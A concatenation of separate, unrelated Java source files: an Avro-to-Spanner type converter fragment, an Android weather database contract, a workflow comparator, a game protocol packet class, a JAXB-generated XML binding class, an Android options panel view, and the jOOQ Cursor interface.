// NOT SUPPOERTED TO STORE STRUCT AS FIELD! (2019/03/04)
// https://cloud.google.com/spanner/docs/data-types
break;
case ARRAY:
// NOT SUPPOERTED TO STORE ARRAY IN ARRAY FIELD! (2019/03/04)
// https://cloud.google.com/spanner/docs/data-types
break;
case MAP:
case UNION:
case NULL:
default:
break;
}
break;
}
case MAP:
case NULL:
default:
break;
}
}
private static Type convertFieldType(final Schema schema) {
switch (schema.getType()) {
case BOOLEAN:
return Type.bool();
case ENUM:
return Type.string();
case STRING: {
final String sqlType = schema.getProp("sqlType");
if ("DATETIME".equals(sqlType)) {
return Type.string();
} else if("GEOGRAPHY".equals(sqlType)) {
return Type.string();
}
return Type.string();
}
case FIXED:
case BYTES:
if(AvroSchemaUtil.isLogicalTypeDecimal(schema)) {
return Type.string();
}
return Type.bytes();
case INT:
if(LogicalTypes.date().equals(schema.getLogicalType())) {
return Type.date();
} else if(LogicalTypes.timeMillis().equals(schema.getLogicalType())) {
return Type.int64();
}
return Type.int64();
case LONG:
if(LogicalTypes.timestampMillis().equals(schema.getLogicalType())) {
return Type.timestamp();
} else if(LogicalTypes.timestampMicros().equals(schema.getLogicalType())) {
return Type.timestamp();
} else if(LogicalTypes.timeMicros().equals(schema.getLogicalType())) {
return Type.int64();
}
return Type.int64();
case FLOAT:
case DOUBLE:
return Type.float64();
case RECORD:
return Type.struct(schema.getFields().stream()
.map(f -> Type.StructField.of(f.name(), convertFieldType(f.schema())))
.collect(Collectors.toList()));
case ARRAY:
return Type.array(convertFieldType(schema.getElementType()));
case UNION:
final boolean nullable = schema.getTypes().stream()
.anyMatch(s -> s.getType().equals(org.apache.avro.Schema.Type.NULL));
final org.apache.avro.Schema unnested = schema.getTypes().stream()
.filter(s -> !s.getType().equals(org.apache.avro.Schema.Type.NULL))
.findAny()
.orElseThrow(() -> new IllegalArgumentException(""));
return convertFieldType(unnested);
case MAP:
case NULL:
default:
return Type.string();
}
}
private static Date convertEpochDaysToDate(final Integer epochDays) {
if(epochDays == null) {
return null;
}
final LocalDate ld = LocalDate.ofEpochDay(epochDays);
return Date.fromYearMonthDay(ld.getYear(), ld.getMonth().getValue(), ld.getDayOfMonth());
}
private static String convertNanosecToTimeString(final Long nanos) {
if(nanos == null) {
return null;
}
final LocalTime localTime = LocalTime.ofNanoOfDay(nanos);
return localTime.format(DateTimeFormatter.ISO_LOCAL_TIME);
}
private static Timestamp convertMicrosecToTimestamp(final Long micros) {
if(micros == null) {
return null;
}
return Timestamp.ofTimeMicroseconds(micros);
}
private static String convertNumericBytesToString(final byte[] bytes, final int scale) {
if(bytes == null) {
return null;
}
final BigDecimal bigDecimal = BigDecimal.valueOf(new BigInteger(bytes).longValue(), scale);
if(scale == 0) {
return bigDecimal.toPlainString();
}
final StringBuilder sb = new StringBuilder(bigDecimal.toPlainString());
while(sb.lastIndexOf("0") == sb.length() - 1) {
sb.deleteCharAt(sb.length() - 1);
}
if(sb.lastIndexOf(".") == sb.length() - 1) {
sb.deleteCharAt(sb.length() - 1);
}
return sb.toString();
}
}
|
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.example.android.sunshine.data;
import android.provider.BaseColumns;
/**
* Defines table and column names for the weather database. This class is not necessary, but keeps
* the code organized.
*/
public class WeatherContract {
// COMPLETED (1) Within WeatherContract, create a public static final class called WeatherEntry that implements BaseColumns
public static final class WeatherEntry implements BaseColumns {
// COMPLETED (2) Create a public static final String call TABLE_NAME with the value "weather"
public static final String TABLE_NAME = "weather";
// COMPLETED (3) Create a public static final String call COLUMN_DATE with the value "date"
public static final String COLUMN_DATE = "date";
// COMPLETED (4) Create a public static final String call COLUMN_WEATHER_ID with the value "weather_id"
public static final String COLUMN_WEATHER_ID = "weather_id";
// COMPLETED (5) Create a public static final String call COLUMN_MIN_TEMP with the value "min"
public static final String COLUMN_MIN_TEMP = "min";
// COMPLETED (6) Create a public static final String call COLUMN_MAX_TEMP with the value "max"
public static final String COLUMN_MAX_TEMP = "max";
// COMPLETED (7) Create a public static final String call COLUMN_HUMIDITY with the value "humidity"
public static final String COLUMN_HUMIDITY = "humidity";
// COMPLETED (8) Create a public static final String call COLUMN_PRESSURE with the value "pressure"
public static final String COLUMN_PRESSURE = "pressure";
// COMPLETED (9) Create a public static final String call COLUMN_WIND_SPEED with the value "wind"
public static final String COLUMN_WIND_SPEED = "wind";
// COMPLETED (10) Create a public static final String call COLUMN_DEGREES with the value "degrees"
public static final String COLUMN_DEGREES = "degrees";
}
}
|
/*
* Copyright 2014 Effektif GmbH.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.effektif.workflow.impl.conditions;
import ch.qos.logback.core.util.StringCollectionUtil;
import com.effektif.workflow.api.condition.Comparator;
import com.effektif.workflow.impl.WorkflowParser;
import com.effektif.workflow.impl.util.StringUtil;
import com.effektif.workflow.impl.workflow.BindingImpl;
import com.effektif.workflow.impl.workflowinstance.ScopeInstanceImpl;
/**
* @author Tom Baeyens
*/
public abstract class ComparatorImpl implements ConditionImpl<Comparator> {
protected BindingImpl<?> left;
protected BindingImpl<?> right;
public BindingImpl<?> getLeft() {
return this.left;
}
public void setLeft(BindingImpl<?> left) {
this.left = left;
}
public ComparatorImpl left(BindingImpl<?> left) {
this.left = left;
return this;
}
public BindingImpl<?> getRight() {
return this.right;
}
public void setRight(BindingImpl<?> right) {
this.right = right;
}
public ComparatorImpl right(BindingImpl<?> right) {
this.right = right;
return this;
}
@Override
public boolean eval(ScopeInstanceImpl scopeInstance) {
Object leftValue = scopeInstance.getValue(left);
Object rightValue = scopeInstance.getValue(right);
return compare(leftValue, rightValue, scopeInstance);
}
public abstract boolean compare(Object leftValue, Object rightValue, ScopeInstanceImpl scopeInstance);
@Override
public void parse(Comparator comparator, ConditionService conditionService, WorkflowParser parser) {
this.left = parser.parseBinding(comparator.getLeft(), "left");
this.right = parser.parseBinding(comparator.getRight(), "right");
}
public String toString() {
return StringUtil.toString(left)+getComparatorSymbol()+StringUtil.toString(right);
}
public abstract String getComparatorSymbol();
}
|
package soupply.bedrock261.protocol.play;
import java.util.*;
import soupply.util.*;
public class PlayStatus extends soupply.bedrock261.Packet
{
public static final int ID = 2;
// status
public static final int OK = (int)0;
public static final int OUTDATED_CLIENT = (int)1;
public static final int OUTDATED_SERVER = (int)2;
public static final int SPAWNED = (int)3;
public static final int INVALID_TENANT = (int)4;
public static final int EDITION_MISMATCH_EDU_TO_VANILLA = (int)5;
public static final int EDITION_MISMATCH_VANILLA_TO_EDU = (int)6;
public static final int SERVER_FULL = (int)7;
public int status;
public PlayStatus()
{
}
public PlayStatus(int status)
{
this.status = status;
}
@Override
public int getId()
{
return ID;
}
@Override
public void encodeBody(Buffer _buffer)
{
_buffer.writeBigEndianInt(status);
}
@Override
public void decodeBody(Buffer _buffer) throws DecodeException
{
status = _buffer.readBigEndianInt();
}
public static PlayStatus fromBuffer(byte[] buffer)
{
PlayStatus packet = new PlayStatus();
packet.safeDecode(buffer);
return packet;
}
}
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2018.06.05 at 08:50:12 PM SAMT
//
package ru.fsrar.wegais.clientref_v2;
import java.util.ArrayList;
import java.util.List;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlElementRef;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for OrgInfoEx_v2 complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="OrgInfoEx_v2">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <all>
* <element name="Identity" type="{http://fsrar.ru/WEGAIS/Common}IdentityType" minOccurs="0"/>
* <element name="OrgInfoV2" type="{http://fsrar.ru/WEGAIS/ClientRef_v2}OrgInfoReply_v2"/>
* <element name="addresslist" minOccurs="0">
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="address" type="{http://fsrar.ru/WEGAIS/ClientRef_v2}OrgAddressType" maxOccurs="unbounded"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </element>
* <element name="State" type="{http://www.w3.org/2001/XMLSchema}string" minOccurs="0"/>
* <element name="VersionWB" type="{http://fsrar.ru/WEGAIS/Common}NoEmptyString50" minOccurs="0"/>
* <element name="isLicense" type="{http://www.w3.org/2001/XMLSchema}boolean" minOccurs="0"/>
* </all>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "OrgInfoEx_v2", propOrder = {
})
public class OrgInfoExV2 {
@XmlElement(name = "Identity")
protected String identity;
@XmlElement(name = "OrgInfoV2", required = true)
protected OrgInfoReplyV2 orgInfoV2;
protected OrgInfoExV2 .Addresslist addresslist;
@XmlElementRef(name = "State", namespace = "http://fsrar.ru/WEGAIS/ClientRef_v2", type = JAXBElement.class, required = false)
protected JAXBElement<String> state;
@XmlElementRef(name = "VersionWB", namespace = "http://fsrar.ru/WEGAIS/ClientRef_v2", type = JAXBElement.class, required = false)
protected JAXBElement<String> versionWB;
@XmlElementRef(name = "isLicense", namespace = "http://fsrar.ru/WEGAIS/ClientRef_v2", type = JAXBElement.class, required = false)
protected JAXBElement<Boolean> isLicense;
/**
* Gets the value of the identity property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getIdentity() {
return identity;
}
/**
* Sets the value of the identity property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setIdentity(String value) {
this.identity = value;
}
/**
* Gets the value of the orgInfoV2 property.
*
* @return
* possible object is
* {@link OrgInfoReplyV2 }
*
*/
public OrgInfoReplyV2 getOrgInfoV2() {
return orgInfoV2;
}
/**
* Sets the value of the orgInfoV2 property.
*
* @param value
* allowed object is
* {@link OrgInfoReplyV2 }
*
*/
public void setOrgInfoV2(OrgInfoReplyV2 value) {
this.orgInfoV2 = value;
}
/**
* Gets the value of the addresslist property.
*
* @return
* possible object is
* {@link OrgInfoExV2 .Addresslist }
*
*/
public OrgInfoExV2 .Addresslist getAddresslist() {
return addresslist;
}
/**
* Sets the value of the addresslist property.
*
* @param value
* allowed object is
* {@link OrgInfoExV2 .Addresslist }
*
*/
public void setAddresslist(OrgInfoExV2 .Addresslist value) {
this.addresslist = value;
}
/**
* Gets the value of the state property.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link String }{@code >}
*
*/
public JAXBElement<String> getState() {
return state;
}
/**
* Sets the value of the state property.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link String }{@code >}
*
*/
public void setState(JAXBElement<String> value) {
this.state = value;
}
/**
* Gets the value of the versionWB property.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link String }{@code >}
*
*/
public JAXBElement<String> getVersionWB() {
return versionWB;
}
/**
* Sets the value of the versionWB property.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link String }{@code >}
*
*/
public void setVersionWB(JAXBElement<String> value) {
this.versionWB = value;
}
/**
* Gets the value of the isLicense property.
*
* @return
* possible object is
* {@link JAXBElement }{@code <}{@link Boolean }{@code >}
*
*/
public JAXBElement<Boolean> getIsLicense() {
return isLicense;
}
/**
* Sets the value of the isLicense property.
*
* @param value
* allowed object is
* {@link JAXBElement }{@code <}{@link Boolean }{@code >}
*
*/
public void setIsLicense(JAXBElement<Boolean> value) {
this.isLicense = value;
}
/**
* <p>Java class for anonymous complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="address" type="{http://fsrar.ru/WEGAIS/ClientRef_v2}OrgAddressType" maxOccurs="unbounded"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
"address"
})
public static class Addresslist {
@XmlElement(required = true)
protected List<OrgAddressType> address;
/**
* Gets the value of the address property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the address property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getAddress().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link OrgAddressType }
*
*
*/
public List<OrgAddressType> getAddress() {
if (address == null) {
address = new ArrayList<OrgAddressType>();
}
return this.address;
}
}
}
|
/*
* Copyright (C) 2017-2020 HERE Europe B.V.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.here.msdkui.routing;
import android.content.Context;
import android.graphics.Color;
import android.os.Build;
import androidx.annotation.RequiresApi;
import android.util.AttributeSet;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import com.here.msdkui.R;
import java.util.ArrayList;
import java.util.List;
/**
* A base class for all views that show multiple instances of {@link OptionItem}.
*/
public abstract class OptionsPanel extends LinearLayout {
private LinearLayout mContentView;
private OptionsPanel.Listener mListener;
/**
* Constructs a new instance.
*
* @param context
* the required {@link Context}.
*/
public OptionsPanel(final Context context) {
this(context, null);
}
/**
* Constructs a new instance.
*
* @param context
* the required {@link Context}.
*
* @param attrs
* a set of attributes.
*/
public OptionsPanel(final Context context, final AttributeSet attrs) {
this(context, attrs, 0);
}
/**
* Constructs a new instance.
*
* @param context
* the required {@link Context}.
*
* @param attrs
* a set of attributes.
*
* @param defStyleAttr
* a default style attribute.
*/
public OptionsPanel(final Context context, final AttributeSet attrs, final int defStyleAttr) {
super(context, attrs, defStyleAttr);
init(context);
}
/**
* Constructs a new instance.
*
* @param context
* the required {@link Context}.
*
* @param attrs
* a set of attributes.
*
* @param defStyleAttr
* a default style attribute.
*
* @param defStyleRes
* a default style resource.
*
* Requires Lollipop (API level 21).
*/
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
public OptionsPanel(final Context context, final AttributeSet attrs, final int defStyleAttr, final int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
init(context);
}
private void init(final Context context) {
setOrientation(VERTICAL);
mContentView = new LinearLayout(context);
mContentView.setLayoutParams(new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams
.WRAP_CONTENT));
mContentView.setOrientation(LinearLayout.VERTICAL);
addView(mContentView);
setBackgroundColor(Color.WHITE);
}
/**
* Sets a list of option items. Each {@link OptionItem} will be added to this panel.
* @deprecated Please use {@link #setOptionItems(List)} instead.
* @param optionsSpecs the list of option items.
*/
public void setOptionsSpecs(final List<OptionItem> optionsSpecs) {
mContentView.removeAllViews();
for (final OptionItem item : optionsSpecs) {
mContentView.addView(item);
}
notifyOnOptionCreated(optionsSpecs);
}
/**
* Sets a list of option items. Each {@link OptionItem} will be added to this panel.
* @param options the list of option items.
*/
public void setOptionItems(final List<OptionItem> options) {
mContentView.removeAllViews();
for (final OptionItem item : options) {
mContentView.addView(item);
}
notifyOnOptionCreated(options);
}
/**
* Sets a list of option items. Each {@link OptionItem} will be added to this panel.
* @deprecated Please use {@link #setOptionItems(OptionItem, List)} instead.
* @param parentItem the first item that should be added to this panel.
* @param optionsSpecs the list of option items.
*/
public void setOptionsSpecs(OptionItem parentItem, final List<OptionItem> optionsSpecs) {
mContentView.removeAllViews();
mContentView.addView(parentItem);
for (final OptionItem item : optionsSpecs) {
mContentView.addView(item);
final LinearLayout.LayoutParams lp = (LinearLayout.LayoutParams) item.getLayoutParams();
final int margin = (int) getResources().getDimension(R.dimen.contentMarginHuge);
lp.setMargins(margin, lp.topMargin, lp.rightMargin, lp.bottomMargin);
}
notifyOnOptionCreated(optionsSpecs);
}
/**
* Sets a list of option items. Each {@link OptionItem} will be added to this panel.
* @param parentItem the first item that should be added to this panel.
* @param options the list of option items.
*/
public void setOptionItems(OptionItem parentItem, final List<OptionItem> options) {
mContentView.removeAllViews();
mContentView.addView(parentItem);
for (final OptionItem item : options) {
mContentView.addView(item);
final LinearLayout.LayoutParams lp = (LinearLayout.LayoutParams) item.getLayoutParams();
final int margin = (int) getResources().getDimension(R.dimen.contentMarginHuge);
lp.setMargins(margin, lp.topMargin, lp.rightMargin, lp.bottomMargin);
}
notifyOnOptionCreated(options);
}
/**
* Gets a list of option items.
* @deprecated Please use {@link #getOptionItems()} instead.
* @return a list of all children of this panel.
*/
public List<OptionItem> getOptionsSpecs() {
final List<OptionItem> itemList = new ArrayList<>();
final int childCount = mContentView.getChildCount();
for (int i = 0; i < childCount; i++) {
itemList.add((OptionItem) mContentView.getChildAt(i));
}
return itemList;
}
/**
* Gets a list of option items.
* @return a list of all children of this panel.
*/
public List<OptionItem> getOptionItems() {
final List<OptionItem> itemList = new ArrayList<>();
final int childCount = mContentView.getChildCount();
for (int i = 0; i < childCount; i++) {
itemList.add((OptionItem) mContentView.getChildAt(i));
}
return itemList;
}
/**
* Set a listener to get the associated events for this panel.
* @param listener the listener to set.
*/
public void setListener(final OptionsPanel.Listener listener) {
mListener = listener;
}
/**
* Notifies listeners when a new option item has been created.
* @param item the item that was created.
*/
protected void notifyOnOptionCreated(final List<OptionItem> item) {
if (mListener != null) {
mListener.onOptionCreated(item);
}
}
/**
* Notifies listeners when an option item has been changed.
* @param item the item that was changed.
*/
protected void notifyOnOptionChanged(final OptionItem item) {
if (mListener != null) {
mListener.onOptionChanged(item);
}
}
/**
* Utility method to get a string from the context this view is running in.
* @param id the resource id of the string.
* @return the string.
*/
public String getString(int id) {
return getContext().getString(id);
}
/**
* A listener to notfiy when an {@link OptionItem} was created or changed.
*/
public interface Listener {
/**
* Called when an option item is created.
*
* @param item the item that was created.
*/
void onOptionCreated(List<OptionItem> item);
/**
* Called when an option item is changed.
*
* @param item the item that was changed.
*/
void onOptionChanged(OptionItem item);
}
}
|
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Other licenses:
* -----------------------------------------------------------------------------
* Commercial licenses for this work are available. These replace the above
* ASL 2.0 and offer limited warranties, support, maintenance, and commercial
* database integrations.
*
* For more information, please visit: http://www.jooq.org/licenses
*
*
*
*
*
*
*
*
*
*
*
*
*
*/
package org.jooq;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Iterator;
import java.util.List;
import java.util.Optional;
import java.util.stream.Stream;
import org.jooq.conf.Settings;
import org.jooq.exception.DataAccessException;
import org.jooq.exception.MappingException;
import org.jooq.impl.DefaultRecordMapper;
/**
* Cursors allow for lazy, sequential access to an underlying JDBC
* {@link ResultSet}. Unlike {@link Result}, data can only be accessed
* sequentially, using an {@link Iterator}, or the cursor's {@link #hasNext()}
* and {@link #fetch()} methods.
* <p>
* Client code must close this {@link Cursor} in order to close the underlying
* {@link PreparedStatement} and {@link ResultSet}
* <p>
* Note: Unlike usual implementations of {@link Iterable}, a <code>Cursor</code>
* can only provide one {@link Iterator}!
*
* @param <R> The cursor's record type
* @author Lukas Eder
*/
public interface Cursor<R extends Record> extends Iterable<R> , AutoCloseable {
/**
* Get this cursor's row type.
*/
RecordType<R> recordType();
/**
* Get this cursor's fields as a {@link Row}.
*/
Row fieldsRow();
/**
* Get a specific field from this Cursor.
* <p>
* Usually, this will return the field itself. However, if this is a row
* from an aliased table, the field will be aliased accordingly.
*
* @see Row#field(Field)
*/
<T> Field<T> field(Field<T> field);
/**
* Get a specific field from this Cursor.
*
* @see Row#field(String)
*/
Field<?> field(String name);
/**
* Get a specific qualified field from this Cursor.
*
* @see Row#field(Name)
*/
Field<?> field(Name name);
/**
* Get a specific field from this Cursor.
*
* @see Row#field(int)
*/
Field<?> field(int index);
/**
* Get all fields from this Cursor.
*
* @see Row#fields()
*/
Field<?>[] fields();
/**
* Get all fields from this Cursor, providing some fields.
*
* @return All available fields
* @see Row#fields(Field...)
*/
Field<?>[] fields(Field<?>... fields);
/**
* Get all fields from this Cursor, providing some field names.
*
* @return All available fields
* @see Row#fields(String...)
*/
Field<?>[] fields(String... fieldNames);
/**
* Get all fields from this Cursor, providing some field names.
*
* @return All available fields
* @see Row#fields(Name...)
*/
Field<?>[] fields(Name... fieldNames);
/**
* Get all fields from this Cursor, providing some field indexes.
*
* @return All available fields
* @see Row#fields(int...)
*/
Field<?>[] fields(int... fieldIndexes);
/**
* Check whether this cursor has a next record.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
*
* @throws DataAccessException if something went wrong executing the query
*/
boolean hasNext() throws DataAccessException;
/**
* Fetch all remaining records as a result.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
* <p>
* The result and its contained records are attached to the original
* {@link Configuration} by default. Use {@link Settings#isAttachRecords()}
* to override this behaviour.
*
* @throws DataAccessException if something went wrong executing the query
*/
Result<R> fetch() throws DataAccessException;
/**
* Fetch the next couple of records from the cursor.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
* <p>
* The result and its contained records are attached to the original
* {@link Configuration} by default. Use {@link Settings#isAttachRecords()}
* to override this behaviour.
*
* @param number The number of records to fetch. If this is <code>0</code>
* or negative an empty list is returned, the cursor is
* untouched. If this is greater than the number of remaining
* records, then all remaining records are returned.
* @throws DataAccessException if something went wrong executing the query
*/
Result<R> fetch(int number) throws DataAccessException;
/**
* Fetch results into a custom handler callback.
* <p>
* The resulting records are attached to the original {@link Configuration}
* by default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @param handler The handler callback
* @return Convenience result, returning the parameter handler itself
* @throws DataAccessException if something went wrong executing the query
*/
<H extends RecordHandler<? super R>> H fetchInto(H handler) throws DataAccessException;
/**
* Fetch results into a custom mapper callback.
*
* @param mapper The mapper callback
* @return The custom mapped records
* @throws DataAccessException if something went wrong executing the query
*/
<E> List<E> fetch(RecordMapper<? super R, E> mapper) throws DataAccessException;
/**
* Map resulting records onto a custom type.
* <p>
* This is the same as calling <code>fetch().into(type)</code>. See
* {@link Record#into(Class)} for more details
*
* @param <E> The generic entity type.
* @param type The entity type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
* @see DefaultRecordMapper
*/
<E> List<E> fetchInto(Class<? extends E> type) throws DataAccessException, MappingException;
/**
* Map resulting records onto a custom record.
* <p>
* This is the same as calling <code>fetch().into(table)</code>. See
* {@link Record#into(Class)} for more details
* <p>
* The result and its contained records are attached to the original
* {@link Configuration} by default. Use {@link Settings#isAttachRecords()}
* to override this behaviour.
*
* @param <Z> The generic table record type.
* @param table The table type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
*/
<Z extends Record> Result<Z> fetchInto(Table<Z> table) throws DataAccessException, MappingException;
/**
* Fetch the next record from the cursor.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
* <p>
* The resulting record is attached to the original {@link Configuration} by
* default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @return The next record from the cursor, or <code>null</code> if there is
* no next record.
* @throws DataAccessException if something went wrong executing the query
*/
R fetchOne() throws DataAccessException;
/**
* Fetch the next record into a custom handler callback.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
* <p>
* The resulting record is attached to the original {@link Configuration} by
* default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @param handler The handler callback
* @return Convenience result, returning the parameter handler itself
* @throws DataAccessException if something went wrong executing the query
*/
<H extends RecordHandler<? super R>> H fetchOneInto(H handler) throws DataAccessException;
/**
* Map the next resulting record onto a custom type.
* <p>
* This is the same as calling <code>fetchOne().into(type)</code>. See
* {@link Record#into(Class)} for more details
*
* @param <E> The generic entity type.
* @param type The entity type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
* @see DefaultRecordMapper
*/
<E> E fetchOneInto(Class<? extends E> type) throws DataAccessException, MappingException;
/**
* Fetch the next record into a custom mapper callback.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
*
* @param mapper The mapper callback
* @return The custom mapped record
* @throws DataAccessException if something went wrong executing the query
*/
<E> E fetchOne(RecordMapper<? super R, E> mapper) throws DataAccessException;
/**
* Map the next resulting record onto a custom record.
* <p>
* This is the same as calling <code>fetchOne().into(table)</code>. See
* {@link Record#into(Class)} for more details
* <p>
* The resulting record is attached to the original {@link Configuration} by
* default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @param <Z> The generic table record type.
* @param table The table type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
*/
<Z extends Record> Z fetchOneInto(Table<Z> table) throws DataAccessException, MappingException;
/**
* Fetch the next record from the cursor.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
* <p>
* The resulting record is attached to the original {@link Configuration} by
* default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @return The next record from the cursor
* @throws DataAccessException if something went wrong executing the query
*/
Optional<R> fetchOptional() throws DataAccessException;
/**
* Map the next resulting record onto a custom type.
* <p>
* This is the same as calling <code>fetchOne().into(type)</code>. See
* {@link Record#into(Class)} for more details
*
* @param <E> The generic entity type.
* @param type The entity type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
* @see DefaultRecordMapper
*/
<E> Optional<E> fetchOptionalInto(Class<? extends E> type) throws DataAccessException, MappingException;
/**
* Fetch the next record into a custom mapper callback.
* <p>
* This will conveniently close the <code>Cursor</code>, after the last
* <code>Record</code> was fetched.
*
* @param mapper The mapper callback
* @return The custom mapped record
* @throws DataAccessException if something went wrong executing the query
*/
<E> Optional<E> fetchOptional(RecordMapper<? super R, E> mapper) throws DataAccessException;
/**
* Map the next resulting record onto a custom record.
* <p>
* This is the same as calling <code>fetchOne().into(table)</code>. See
* {@link Record#into(Class)} for more details
* <p>
* The resulting record is attached to the original {@link Configuration} by
* default. Use {@link Settings#isAttachRecords()} to override this
* behaviour.
*
* @param <Z> The generic table record type.
* @param table The table type.
* @see Record#into(Class)
* @see Result#into(Class)
* @throws DataAccessException if something went wrong executing the query
* @throws MappingException wrapping any reflection or data type conversion
* exception that might have occurred while mapping records
*/
<Z extends Record> Optional<Z> fetchOptionalInto(Table<Z> table) throws DataAccessException, MappingException;
/**
* Turn this <code>Cursor</code> into a {@link Stream}.
*
* @throws DataAccessException if something went wrong executing the query
*/
Stream<R> stream() throws DataAccessException;
/**
* Explicitly close the underlying {@link PreparedStatement} and
* {@link ResultSet}.
* <p>
* If you fetch all records from the underlying {@link ResultSet}, jOOQ
* <code>Cursor</code> implementations will close themselves for you.
* Calling <code>close()</code> again will have no effect.
*
* @throws DataAccessException if something went wrong executing the query
*/
@Override
void close() throws DataAccessException;
/**
* Check whether this <code>Cursor</code> has been explicitly or
* "conveniently" closed.
* <p>
* Explicit closing can be achieved by calling {@link #close()} from client
* code. "Convenient" closing is done by any of the other methods, when the
* last record was fetched.
*/
boolean isClosed();
/**
* Get the <code>Cursor</code>'s underlying {@link ResultSet}.
* <p>
* This will return a {@link ResultSet} wrapping the JDBC driver's
* <code>ResultSet</code>. Closing this <code>ResultSet</code> may close the
* producing {@link Statement} or {@link PreparedStatement}, depending on
* your setting for {@link ResultQuery#keepStatement(boolean)}.
* <p>
* Modifying this <code>ResultSet</code> will affect this
* <code>Cursor</code>.
*
* @return The underlying <code>ResultSet</code>. May be <code>null</code>,
* for instance when the <code>Cursor</code> is closed.
*/
ResultSet resultSet();
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
